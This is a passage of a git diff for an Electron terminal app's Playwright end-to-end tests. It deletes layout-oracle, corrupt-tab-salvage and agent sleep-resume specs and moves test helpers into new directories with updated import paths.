window.api.pty.management.restart()) - await waitForBoundPanes(run.page, 2).catch(() => {}) - const after = await run.oracle.step( - 'daemon restarted', - { worktreeId, panesPerTab: [2], terminalsRestart: true }, - { allowRemount: true } - ) - run.oracle.compareRestart('daemon restart', after, { maskPtyIds: true }) - await run.oracle.checkMarkers('after daemon restart', worktreeId) - // What the user gets back after the next relaunch is the layout that survived. - await run.relaunch({ worktreeId, paneCount: 2, panesPerTab: [2] }) - } - }, - { - id: 'folder-workspace', - setup: async (run) => addFolderWorkspace(run.page), - journey: async (run, worktreeId) => { - await splitActiveTerminalPane(run.page, 'vertical') - await waitForBoundPanes(run.page, 2) - await newTabFromMenu(run.page) - await run.oracle.step('split and new tab', { worktreeId, panesPerTab: [2, 1] }) - } - }, - { - // A host creates and manually splits a terminal, then the user returns to its saved layout. - id: 'host-split-reactivation', - // Its own worktree's panes are checked in the journey; the seeded one is no longer shown. - endMarkers: false, - setup: async (run) => addHostCreatedSplitWorktree(run.page, run.userDataDir), - journey: async (run) => { - const setupWorktreeId = await openHostSplitWorktree(run.page, run.userDataDir) - run.worktreeIds.push(setupWorktreeId) - await run.oracle.step('open setup worktree', { - worktreeId: setupWorktreeId, - panesPerTab: [2] - }) - await run.oracle.checkMarkers('setup worktree', setupWorktreeId) - } - }, - { - id: 'sleep-quit-resume', - endMarkers: false, - journey: async (run, worktreeId) => { - await sleepAgentPane(run.page, worktreeId) - await run.oracle.step('sleep agent pane', { worktreeId, panesPerTab: [2] }) - await run.relaunch({ - worktreeId, - paneCount: 2, - panesPerTab: [2], - terminalsRestart: true, - reopen: wakeByClick - }) - } - } -] - -const REPEAT = Math.max(1, Number(process.env.ORCA_LAYOUT_ORACLE_REPEAT ?? 1)) -const RECORD_ONLY = process.env.ORCA_LAYOUT_ORACLE_RECORD === '1' - -for (const scenario of SCENARIOS) { - for (let attempt = 1; attempt <= REPEAT; attempt += 1) { - const suffix = REPEAT > 1 ? ` #${attempt}` : '' - // oxlint-disable-next-line no-empty-pattern -- Each scenario owns its launches. - test(`layout oracle: ${scenario.id}${suffix}`, async ({}, testInfo) => { - const repoPath = seededRepoPathOrSkip() - const findings = await runOracleScenario(testInfo, scenario.id, async (run) => { - let cleanup: (() => void) | undefined - try { - let worktreeId: string - if (scenario.setup) { - const setup = await scenario.setup(run) - worktreeId = setup.worktreeId - cleanup = setup.cleanup - } else { - worktreeId = (await bootstrapFirstLaunch(run.page, repoPath)).worktreeId - } - run.worktreeIds.push(worktreeId) - await waitForBoundPanes(run.page, 1) - await run.oracle.step('start', { worktreeId, panesPerTab: [1] }) - await scenario.journey(run, worktreeId) - if (scenario.endMarkers !== false) { - await run.oracle.checkMarkers('end', worktreeId) - } - } finally { - cleanup?.() - } - }) - for (const finding of findings) { - console.log( - `[layout-oracle] ${scenario.id}: ${finding.check} @ ${finding.step}\n ${finding.details.join('\n ')}` - ) - } - if (!RECORD_ONLY) { - expect(unexpectedFindings(scenario.id, findings)).toEqual([]) - } - }) - } -} diff --git a/tests/e2e/workspace-session-corrupt-tab-salvage.spec.ts b/tests/e2e/workspace-session-corrupt-tab-salvage.spec.ts deleted file mode 100644 index 26ce06e0da8..00000000000 --- a/tests/e2e/workspace-session-corrupt-tab-salvage.spec.ts +++ /dev/null @@ -1,137 +0,0 @@ -import { - readPersistedProfileState, - mutateStoppedProfileState -} from './helpers/persisted-profile-state' -import { existsSync, readFileSync } from 'node:fs' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { ensureTerminalVisible, getActiveWorktreeId, waitForSessionReady } from './helpers/store' -import { TEST_REPO_PATH_FILE } from './global-setup' - -const FIRST_SURVIVOR_TITLE = 'STA-3604 survivor one' -const SECOND_SURVIVOR_TITLE = 'STA-3604 survivor two' -const CORRUPT_TAB_ID = 'sta-3604-corrupt-tab' - -type PersistedData = { - workspaceSession?: { - tabsByWorktree?: Record[]> - unifiedTabs?: Record[]> - } -} - -function injectTruncatedTab(userDataDir: string, worktreeId: string, startupCwd: string): void { - return mutateStoppedProfileState(userDataDir, (state) => { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: This test owns the persisted fixture; optional fields are checked at use sites. - const data = state as PersistedData - const tabs = data.workspaceSession?.tabsByWorktree?.[worktreeId] - if (!tabs) { - throw new Error('Persisted terminal tabs were unavailable for corruption seeding') - } - tabs.push({ - id: CORRUPT_TAB_ID, - ptyId: null, - worktreeId, - title: 'Truncated terminal', - sortOrder: 999, - generation: 3, - startupCwd - }) - }) -} - -function persistedSessionEvidence( - userDataDir: string, - worktreeId: string -): { corruptLegacyTabPresent: boolean; unifiedTabIds: string[] } { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: This test owns the persisted fixture; optional fields are checked at use sites. - const data = readPersistedProfileState(userDataDir) as PersistedData - const legacyTabs = data.workspaceSession?.tabsByWorktree?.[worktreeId] ?? [] - const unifiedTabs = data.workspaceSession?.unifiedTabs?.[worktreeId] ?? [] - return { - corruptLegacyTabPresent: legacyTabs.some((tab) => tab.id === CORRUPT_TAB_ID), - unifiedTabIds: unifiedTabs - .map((tab) => tab.id) - .filter((id): id is string => typeof id === 'string') - } -} - -async function expectSurvivingTabsVisible(page: Page): Promise { - for (const title of [FIRST_SURVIVOR_TITLE, SECOND_SURVIVOR_TITLE]) { - await expect( - page.locator('[data-testid="sortable-tab"]').filter({ hasText: title }) - ).toBeVisible({ timeout: 15_000 }) - } -} - -test('keeps valid terminal tabs visible after a corrupt sibling record on restart', async (// oxlint-disable-next-line no-empty-pattern -- this restart test owns its Electron launches. -{}, testInfo) => { - test.setTimeout(300_000) - const repoPath = existsSync(TEST_REPO_PATH_FILE) - ? readFileSync(TEST_REPO_PATH_FILE, 'utf8').trim() - : '' - test.skip(!repoPath || !existsSync(repoPath), 'Seeded E2E repository is unavailable') - - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const first = await session.launch() - firstApp = first.app - const worktreeId = await attachRepoAndOpenTerminal(first.page, repoPath) - await waitForSessionReady(first.page) - await ensureTerminalVisible(first.page) - - const survivorIds = await first.page.evaluate( - ({ worktreeId, firstTitle, secondTitle }) => { - const store = window.__store - if (!store) { - throw new Error('Renderer store unavailable') - } - const state = store.getState() - const firstTab = state.tabsByWorktree[worktreeId]?.[0] - if (!firstTab) { - throw new Error('Initial terminal tab unavailable') - } - state.setTabCustomTitle(firstTab.id, firstTitle) - const secondTab = state.createTab(worktreeId, undefined, undefined, { activate: false }) - state.setTabCustomTitle(secondTab.id, secondTitle) - return [firstTab.id, secondTab.id] - }, - { worktreeId, firstTitle: FIRST_SURVIVOR_TITLE, secondTitle: SECOND_SURVIVOR_TITLE } - ) - await expectSurvivingTabsVisible(first.page) - - await session.close(firstApp) - firstApp = null - injectTruncatedTab(session.userDataDir, worktreeId, repoPath) - - const second = await session.launch() - secondApp = second.app - await waitForSessionReady(second.page) - await expect.poll(() => getActiveWorktreeId(second.page), { timeout: 15_000 }).toBe(worktreeId) - await ensureTerminalVisible(second.page) - - await expectSurvivingTabsVisible(second.page) - await expect(second.page.locator('.xterm').first()).toBeVisible({ timeout: 15_000 }) - await expect - .poll(() => persistedSessionEvidence(session.userDataDir, worktreeId), { - timeout: 30_000 - }) - .toEqual({ corruptLegacyTabPresent: false, unifiedTabIds: survivorIds }) - - await testInfo.attach('sta-3604-valid-tabs-after-corrupt-session-restart.png', { - body: await second.page.screenshot(), - contentType: 'image/png' - }) - await expectSurvivingTabsVisible(second.page) - } finally { - for (const app of [secondApp, firstApp]) { - if (app) { - await session.close(app).catch(() => {}) - } - } - await session.dispose() - } -}) diff --git a/tests/e2e/workspace-sleep-main-resume.spec.ts b/tests/e2e/workspace-sleep-main-resume.spec.ts deleted file mode 100644 index 4e08e5df87a..00000000000 --- a/tests/e2e/workspace-sleep-main-resume.spec.ts +++ /dev/null @@ -1,172 +0,0 @@ -// Require main alone to resume each sleeping pane’s agent once, binding the window to that terminal without creating a fresh tab. -import { chmodSync, existsSync, readFileSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { mutateStoppedProfileState } from './helpers/persisted-profile-state' -import { waitForActiveTerminalManager, waitForPaneCount } from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { createHostRendererTerminalTab } from './helpers/host-created-terminal-retention-oracle' -import { PROTOCOL_VERSION } from '../../src/main/daemon/protocol/daemon-protocol-version' - -const SETTLE_MS = 6_000 - -function readDaemonPid(userDataDir: string): number { - const raw = readFileSync( - path.join(userDataDir, 'daemon', `daemon-v${PROTOCOL_VERSION}.pid`), - 'utf8' - ) - const parsed: unknown = JSON.parse(raw) - const pid = parsed && typeof parsed === 'object' && 'pid' in parsed ? parsed.pid : undefined - if (typeof pid !== 'number') { - throw new Error(`Daemon pid file did not contain a numeric pid: ${raw}`) - } - return pid -} - -/** An agent CLI stand-in that logs each resume it is asked for, then stays running. */ -function writeFakeAgent(dir: string): { command: string; log: string } { - const command = path.join(dir, 'fake-agent.sh') - const log = path.join(dir, 'fake-agent-resumes.log') - writeFileSync(log, '') - writeFileSync( - command, - `#!/bin/sh\nprintf '%s\\n' "$ORCA_PANE_KEY" >> '${log}'\nexec sleep 3600\n` - ) - chmodSync(command, 0o755) - return { command, log } -} - -/** How many times each pane's agent was resumed. */ -function resumeCounts(log: string): Record { - const counts: Record = {} - for (const line of readFileSync(log, 'utf8').split('\n')) { - if (line) { - counts[line] = (counts[line] ?? 0) + 1 - } - } - return counts -} - -async function firstPaneKey(page: Page, tabId: string): Promise { - const leafId = await page.evaluate((id) => { - const root = window.__store?.getState().terminalLayoutsByTabId[id]?.root - return root?.type === 'leaf' ? root.leafId : null - }, tabId) - if (!leafId) { - throw new Error(`Tab ${tabId} has no single leaf`) - } - return `${tabId}:${leafId}` -} - -test('main resumes each slept pane once, in place, and the window attaches', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. -{}, testInfo) => { - const repoPath = readFileSync(TEST_REPO_PATH_FILE, 'utf-8').trim() - test.skip(!repoPath || !existsSync(repoPath), 'Global setup did not produce a seeded test repo') - test.skip(process.platform === 'win32', 'Uses POSIX SIGKILL and a shell-script agent') - - const fakeAgent = writeFakeAgent(testInfo.outputPath()) - const session = createRestartSession(testInfo) - const first = await session.launch() - let app = first.app - try { - const worktreeId = await attachRepoAndOpenTerminal(first.page, repoPath) - await waitForSessionReady(first.page) - await waitForActiveWorktree(first.page) - await ensureTerminalVisible(first.page) - await waitForActiveTerminalManager(first.page, 30_000) - await waitForPaneCount(first.page, 1, 30_000) - const tabIds = await first.page.evaluate( - (wtId) => (window.__store?.getState().tabsByWorktree[wtId] ?? []).map((tab) => tab.id), - worktreeId - ) - tabIds.push(await createHostRendererTerminalTab(first.page, worktreeId)) - await first.page.evaluate((id) => window.__store?.getState().setActiveTab(id), tabIds[0]!) - const paneKeys = [ - await firstPaneKey(first.page, tabIds[0]!), - await firstPaneKey(first.page, tabIds[1]!) - ] - const daemonPid = readDaemonPid(session.userDataDir) - await session.close(app) - - // The records a workspace sleep in main leaves: pane-owned, resumed when the tab opens. - mutateStoppedProfileState(session.userDataDir, (state) => { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: This test owns the persisted fixture. - const data = state as { workspaceSession?: { sleepingAgentSessionsByPaneKey?: unknown } } - data.workspaceSession ??= {} - data.workspaceSession.sleepingAgentSessionsByPaneKey = Object.fromEntries( - paneKeys.map((paneKey, index) => { - const sessionId = `e2e-main-resume-${index}-${Date.now()}` - session.seedCodexResumeRollout(sessionId, repoPath) - return [ - paneKey, - { - paneKey, - tabId: paneKey.split(':')[0], - worktreeId, - agent: 'codex', - providerSession: { key: 'session_id', id: sessionId }, - prompt: 'finish the task', - state: 'done', - capturedAt: Date.now(), - updatedAt: Date.now(), - origin: 'worktree-sleep', - restoreOnTabOpenOnly: true, - launchConfig: { agentCommand: fakeAgent.command, agentArgs: '', agentEnv: {} } - } - ] - }) - ) - }) - process.kill(daemonPid, 'SIGKILL') - - const second = await session.launch() - app = second.app - const page = second.page - await waitForSessionReady(page) - await ensureTerminalVisible(page) - - await expect - .poll(() => resumeCounts(fakeAgent.log), { timeout: 30_000 }) - .toEqual({ - [paneKeys[0]!]: 1 - }) - await page.waitForTimeout(SETTLE_MS) - expect(resumeCounts(fakeAgent.log), 'a hidden tab resumed, or one resumed twice').toEqual({ - [paneKeys[0]!]: 1 - }) - - await page.evaluate((id) => window.__store?.getState().setActiveTab(id), tabIds[1]!) - await expect - .poll(() => resumeCounts(fakeAgent.log), { timeout: 30_000 }) - .toEqual({ - [paneKeys[0]!]: 1, - [paneKeys[1]!]: 1 - }) - await page.waitForTimeout(SETTLE_MS / 2) - const after = await page.evaluate( - ({ wtId, ids }) => { - const state = window.__store!.getState() - return { - tabCount: (state.tabsByWorktree[wtId] ?? []).length, - bound: ids.map((id) => (state.ptyIdsByTabId[id] ?? []).length > 0) - } - }, - { wtId: worktreeId, ids: tabIds } - ) - // In place: no fresh tab, and each pane is bound to the terminal main started. - expect(after).toEqual({ tabCount: tabIds.length, bound: [true, true] }) - expect(resumeCounts(fakeAgent.log)).toEqual({ [paneKeys[0]!]: 1, [paneKeys[1]!]: 1 }) - // Main keeps its own records; a window that resumed from its copy would have saved them away. - await page.waitForTimeout(2_000) - const mainRecords = await page.evaluate(async () => - Object.keys((await window.api.session.get()).sleepingAgentSessionsByPaneKey ?? {}) - ) - expect(mainRecords.sort()).toEqual([...paneKeys].sort()) - } finally { - await session.close(app) - await session.dispose() - } -}) diff --git a/tests/e2e/default-branch-visibility.spec.ts b/tests/e2e/workspaces/lifecycle/default-branch-visibility.spec.ts similarity index 92% rename from tests/e2e/default-branch-visibility.spec.ts rename to tests/e2e/workspaces/lifecycle/default-branch-visibility.spec.ts index b61e43e1fa9..6e82182735d 100644 --- a/tests/e2e/default-branch-visibility.spec.ts +++ b/tests/e2e/workspaces/lifecycle/default-branch-visibility.spec.ts @@ -1,10 +1,14 @@ // Keep the default workspace reachable under Hide sleeping while sweeping sleeping feature workspaces (#8873). import type { Page, TestInfo } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { addRepoWithWorkspaces, writeWorkspaceMeta } from './helpers/repo-with-workspaces' -import { waitForSessionReady } from './helpers/store' -import { worktreeRow } from './worktree-row-locators' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { + addRepoWithWorkspaces, + writeWorkspaceMeta +} from '../repository-fixtures/repo-with-workspaces' +import { waitForSessionReady } from '../../desktop/renderer-probes/store' +import { worktreeRow } from '../sidebar/worktree-row-locators' type SidebarVisibilityScenario = { defaultBranchId: string diff --git a/tests/e2e/local-worktree-visibility-runtime-active.spec.ts b/tests/e2e/workspaces/lifecycle/local-worktree-visibility-runtime-active.spec.ts similarity index 89% rename from tests/e2e/local-worktree-visibility-runtime-active.spec.ts rename to tests/e2e/workspaces/lifecycle/local-worktree-visibility-runtime-active.spec.ts index 9e6f07d5642..71b092df1c1 100644 --- a/tests/e2e/local-worktree-visibility-runtime-active.spec.ts +++ b/tests/e2e/workspaces/lifecycle/local-worktree-visibility-runtime-active.spec.ts @@ -1,9 +1,10 @@ // Create through the real CLI socket while a remote runtime is active; local worktrees:changed must still refresh the sidebar. // Inject only remote selection: the old renderer routed unbound local repo fetches away and hid new worktrees until restart. -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady, waitForActiveWorktree } from './helpers/store' -import { RuntimeClient } from '../../src/cli/runtime/client' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForSessionReady, waitForActiveWorktree } from '../../desktop/renderer-probes/store' +import { RuntimeClient } from '../../../../src/cli/runtime/client' test.describe('worktree visibility with a remote runtime active', () => { test('a CLI-created worktree appears in the sidebar while a remote runtime is active', async ({ diff --git a/tests/e2e/worktree-jump-palette-folder-workspaces.spec.ts b/tests/e2e/workspaces/lifecycle/worktree-jump-palette-folder-workspaces.spec.ts similarity index 91% rename from tests/e2e/worktree-jump-palette-folder-workspaces.spec.ts rename to tests/e2e/workspaces/lifecycle/worktree-jump-palette-folder-workspaces.spec.ts index 4896a6d1491..13f8a61b97c 100644 --- a/tests/e2e/worktree-jump-palette-folder-workspaces.spec.ts +++ b/tests/e2e/workspaces/lifecycle/worktree-jump-palette-folder-workspaces.spec.ts @@ -1,9 +1,10 @@ import { mkdtempSync, realpathSync, rmSync } from 'node:fs' import os from 'node:os' import path from 'node:path' -import { encodePaletteIdentity } from '../../src/shared/palette-match/palette-ranking' -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' +import { encodePaletteIdentity } from '../../../../src/shared/palette-match/palette-ranking' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForSessionReady } from '../../desktop/renderer-probes/store' test.use({ seedTestRepo: false }) diff --git a/tests/e2e/worktree-lineage-state.ts b/tests/e2e/workspaces/lifecycle/worktree-lineage-state.ts similarity index 98% rename from tests/e2e/worktree-lineage-state.ts rename to tests/e2e/workspaces/lifecycle/worktree-lineage-state.ts index 435ade4b242..a8b55015357 100644 --- a/tests/e2e/worktree-lineage-state.ts +++ b/tests/e2e/workspaces/lifecycle/worktree-lineage-state.ts @@ -1,5 +1,5 @@ import type { Page } from '@stablyai/playwright-test' -import { linkWorkspaces, writeWorkspaceMeta } from './helpers/repo-with-workspaces' +import { linkWorkspaces, writeWorkspaceMeta } from '../repository-fixtures/repo-with-workspaces' export type LineageScenario = { parentId: string diff --git a/tests/e2e/new-workspace-cross-project-dialog.spec.ts b/tests/e2e/workspaces/project-admission/new-workspace-cross-project-dialog.spec.ts similarity index 96% rename from tests/e2e/new-workspace-cross-project-dialog.spec.ts rename to tests/e2e/workspaces/project-admission/new-workspace-cross-project-dialog.spec.ts index 8cd4f8f5d1c..68b2198e092 100644 --- a/tests/e2e/new-workspace-cross-project-dialog.spec.ts +++ b/tests/e2e/workspaces/project-admission/new-workspace-cross-project-dialog.spec.ts @@ -1,10 +1,11 @@ -import { openSidebarWorkspaceComposer } from './helpers/sidebar-project-dialog' +import { openSidebarWorkspaceComposer } from '../sidebar/sidebar-project-dialog' import { execFileSync } from 'node:child_process' import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' import os from 'node:os' import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForActiveWorktree, waitForSessionReady } from '../../desktop/renderer-probes/store' const LONG_REPOSITORY_NAME = 'cross-project-dialog-long-repository-name'.repeat(3) const LONG_REPOSITORY_SLUG = LONG_REPOSITORY_NAME diff --git a/tests/e2e/new-workspace-linked-item-project-switch.spec.ts b/tests/e2e/workspaces/project-admission/new-workspace-linked-item-project-switch.spec.ts similarity index 93% rename from tests/e2e/new-workspace-linked-item-project-switch.spec.ts rename to tests/e2e/workspaces/project-admission/new-workspace-linked-item-project-switch.spec.ts index 1888ca99579..cb14b3f7f32 100644 --- a/tests/e2e/new-workspace-linked-item-project-switch.spec.ts +++ b/tests/e2e/workspaces/project-admission/new-workspace-linked-item-project-switch.spec.ts @@ -6,10 +6,11 @@ import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' import os from 'node:os' import path from 'node:path' import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import type { LinkedWorkItemSummary } from '../../src/renderer/src/lib/workspace/creation/new-workspace' -import type { TaskSourceContext } from '../../src/shared/work-items/task-source-context' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForActiveWorktree, waitForSessionReady } from '../../desktop/renderer-probes/store' +import type { LinkedWorkItemSummary } from '../../../../src/renderer/src/lib/workspace/creation/new-workspace' +import type { TaskSourceContext } from '../../../../src/shared/work-items/task-source-context' const SECOND_PROJECT_NAME = 'linked-item-second-project' diff --git a/tests/e2e/project-group-manual-sort.spec.ts b/tests/e2e/workspaces/project-admission/project-group-manual-sort.spec.ts similarity index 98% rename from tests/e2e/project-group-manual-sort.spec.ts rename to tests/e2e/workspaces/project-admission/project-group-manual-sort.spec.ts index 880ae4dcc32..3221fdf1a6b 100644 --- a/tests/e2e/project-group-manual-sort.spec.ts +++ b/tests/e2e/workspaces/project-admission/project-group-manual-sort.spec.ts @@ -3,8 +3,9 @@ import { mkdirSync, realpathSync, rmSync, writeFileSync } from 'node:fs' import { mkdtemp } from 'node:fs/promises' import os from 'node:os' import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForSessionReady } from '../../desktop/renderer-probes/store' import type { Page } from '@stablyai/playwright-test' const GROUP_NAMES = [ diff --git a/tests/e2e/repo-registration-async.spec.ts b/tests/e2e/workspaces/project-admission/repo-registration-async.spec.ts similarity index 84% rename from tests/e2e/repo-registration-async.spec.ts rename to tests/e2e/workspaces/project-admission/repo-registration-async.spec.ts index 4163cc4bac3..b63630cfee6 100644 --- a/tests/e2e/repo-registration-async.spec.ts +++ b/tests/e2e/workspaces/project-admission/repo-registration-async.spec.ts @@ -1,5 +1,6 @@ -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForSessionReady } from '../../desktop/renderer-probes/store' import { runProcess } from '@orca/process-host' test.use({ seedTestRepo: false }) @@ -10,8 +11,9 @@ test('real WSL registration preserves literal paths and fences login output', as const distro = process.env.ORCA_REAL_WSL_DISTRO test.skip(process.platform !== 'win32' || !distro, 'Requires a real Windows WSL distro') const { buildWslExecArgs, buildWslCapturedLoginShellCommand } = - await import('../../src/shared/shell/wsl/wsl-login-shell-command') - const { quotePosixShell } = await import('../../src/shared/shell/launch/shell-argument-quoting') + await import('../../../../src/shared/shell/wsl/wsl-login-shell-command') + const { quotePosixShell } = + await import('../../../../src/shared/shell/launch/shell-argument-quoting') const root = `/tmp/or60risk/run-${Date.now()}` const repoPath = `${root}/repo-$literal space` const uncPath = `\\\\wsl.localhost\\${distro}${repoPath.replaceAll('/', '\\')}` diff --git a/tests/e2e/helpers/git-status-retry-barrier.ts b/tests/e2e/workspaces/repository-fixtures/git-status-retry-barrier.ts similarity index 100% rename from tests/e2e/helpers/git-status-retry-barrier.ts rename to tests/e2e/workspaces/repository-fixtures/git-status-retry-barrier.ts diff --git a/tests/e2e/helpers/repo-with-workspaces.ts b/tests/e2e/workspaces/repository-fixtures/repo-with-workspaces.ts similarity index 95% rename from tests/e2e/helpers/repo-with-workspaces.ts rename to tests/e2e/workspaces/repository-fixtures/repo-with-workspaces.ts index a10dc1597a3..449d9f7d76d 100644 --- a/tests/e2e/helpers/repo-with-workspaces.ts +++ b/tests/e2e/workspaces/repository-fixtures/repo-with-workspaces.ts @@ -2,9 +2,10 @@ import { execFileSync } from 'node:child_process' import { mkdirSync, realpathSync, writeFileSync } from 'node:fs' import path from 'node:path' import type { Page, TestInfo } from '@stablyai/playwright-test' -import type { WorktreeMeta } from '../../../src/shared/worktree/meta-types' -import { expect } from './orca-app' -import { evaluatePolled } from './page-evaluate-polled' +import type { WorktreeMeta } from '../../../../src/shared/worktree/meta-types' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { evaluatePolled } from '../../desktop/renderer-probes/page-evaluate-polled' import { loadWorktreesUntilPathsPresent } from './worktree-registration' /** Poll budget for setup that makes one main write per item. */ diff --git a/tests/e2e/helpers/seeded-ssh-workspaces.ts b/tests/e2e/workspaces/repository-fixtures/seeded-ssh-workspaces.ts similarity index 82% rename from tests/e2e/helpers/seeded-ssh-workspaces.ts rename to tests/e2e/workspaces/repository-fixtures/seeded-ssh-workspaces.ts index 81b0b55e8d6..690abb0feb1 100644 --- a/tests/e2e/helpers/seeded-ssh-workspaces.ts +++ b/tests/e2e/workspaces/repository-fixtures/seeded-ssh-workspaces.ts @@ -1,11 +1,18 @@ import type { ElectronApplication, Page, TestInfo } from '@stablyai/playwright-test' -import type { Repo } from '../../../src/shared/repository/repo-types' -import { toSshExecutionHostId } from '../../../src/shared/execution-host/execution-host' -import { expect } from './orca-app' -import { seedRelayEraTarget } from './orcad-upgrade-profile' -import { attachRepoAndOpenTerminal, createRestartSession } from './orca-restart' -import { mutateStoppedProfileState } from './persisted-profile-state' -import { waitForSessionReady, waitForStartupWorktreeRefresh } from './store' +import type { Repo } from '../../../../src/shared/repository/repo-types' +import { toSshExecutionHostId } from '../../../../src/shared/execution-host/execution-host' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { seedRelayEraTarget } from '../../remote/managed-ssh/host-lifecycle/orcad-upgrade-profile' +import { + attachRepoAndOpenTerminal, + createRestartSession +} from '../../desktop/electron-fixtures/orca-restart' +import { mutateStoppedProfileState } from '../../desktop/electron-fixtures/persisted-profile-state' +import { + waitForSessionReady, + waitForStartupWorktreeRefresh +} from '../../desktop/renderer-probes/store' export type SeededSshWorkspaces = { targetId: string diff --git a/tests/e2e/helpers/seeded-test-repo.ts b/tests/e2e/workspaces/repository-fixtures/seeded-test-repo.ts similarity index 90% rename from tests/e2e/helpers/seeded-test-repo.ts rename to tests/e2e/workspaces/repository-fixtures/seeded-test-repo.ts index 5c02c6e7357..5c811707a4e 100644 --- a/tests/e2e/helpers/seeded-test-repo.ts +++ b/tests/e2e/workspaces/repository-fixtures/seeded-test-repo.ts @@ -1,7 +1,7 @@ import { existsSync, readFileSync, rmSync, writeFileSync } from 'node:fs' import { execSync } from 'node:child_process' -import { seedTestRepository, TEST_REPO_PATH_FILE } from '../global-setup' -import { cleanupTestRepository } from '../global-teardown' +import { seedTestRepository, TEST_REPO_PATH_FILE } from '../../global-setup' +import { cleanupTestRepository } from '../../global-teardown' export async function provideWorkerTestRepository( provideFixture: (repository: string) => Promise diff --git a/tests/e2e/helpers/worktree-registration.ts b/tests/e2e/workspaces/repository-fixtures/worktree-registration.ts similarity index 95% rename from tests/e2e/helpers/worktree-registration.ts rename to tests/e2e/workspaces/repository-fixtures/worktree-registration.ts index d8d46cce583..6b0a281a662 100644 --- a/tests/e2e/helpers/worktree-registration.ts +++ b/tests/e2e/workspaces/repository-fixtures/worktree-registration.ts @@ -1,6 +1,7 @@ import type { Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' -import type { CommitMessageAiSettings } from '../../../src/shared/source-control/ai/generation/commit-message-ai-types' +import '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import type { CommitMessageAiSettings } from '../../../../src/shared/source-control/ai/generation/commit-message-ai-types' // Raw git worktree add bypasses Orca’s 5s scan-cache invalidation; poll for 10s to cross the TTL and allow a slow scan. const WORKTREE_CACHE_TTL_POLL_MS = 10_000 diff --git a/tests/e2e/sidebar-folder-keyboard-navigation.spec.ts b/tests/e2e/workspaces/sidebar/sidebar-folder-keyboard-navigation.spec.ts similarity index 96% rename from tests/e2e/sidebar-folder-keyboard-navigation.spec.ts rename to tests/e2e/workspaces/sidebar/sidebar-folder-keyboard-navigation.spec.ts index 8a41a644f3f..4b012f823aa 100644 --- a/tests/e2e/sidebar-folder-keyboard-navigation.spec.ts +++ b/tests/e2e/workspaces/sidebar/sidebar-folder-keyboard-navigation.spec.ts @@ -1,8 +1,9 @@ import { mkdtempSync, realpathSync, rmSync } from 'node:fs' import os from 'node:os' import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForSessionReady } from '../../desktop/renderer-probes/store' test('cycles visible folder workspaces with shortcuts and focused list arrows', async ({ orcaPage, diff --git a/tests/e2e/helpers/sidebar-inputs-build.ts b/tests/e2e/workspaces/sidebar/sidebar-inputs-build.ts similarity index 100% rename from tests/e2e/helpers/sidebar-inputs-build.ts rename to tests/e2e/workspaces/sidebar/sidebar-inputs-build.ts diff --git a/tests/e2e/helpers/sidebar-project-dialog.ts b/tests/e2e/workspaces/sidebar/sidebar-project-dialog.ts similarity index 100% rename from tests/e2e/helpers/sidebar-project-dialog.ts rename to tests/e2e/workspaces/sidebar/sidebar-project-dialog.ts diff --git a/tests/e2e/helpers/sidebar-project-visibility.ts b/tests/e2e/workspaces/sidebar/sidebar-project-visibility.ts similarity index 100% rename from tests/e2e/helpers/sidebar-project-visibility.ts rename to tests/e2e/workspaces/sidebar/sidebar-project-visibility.ts diff --git a/tests/e2e/helpers/sidebar-setup-prompt.ts b/tests/e2e/workspaces/sidebar/sidebar-setup-prompt.ts similarity index 82% rename from tests/e2e/helpers/sidebar-setup-prompt.ts rename to tests/e2e/workspaces/sidebar/sidebar-setup-prompt.ts index 736f6b1e693..42d00ed1719 100644 --- a/tests/e2e/helpers/sidebar-setup-prompt.ts +++ b/tests/e2e/workspaces/sidebar/sidebar-setup-prompt.ts @@ -1,7 +1,7 @@ import type { Page } from '@stablyai/playwright-test' import { expect } from 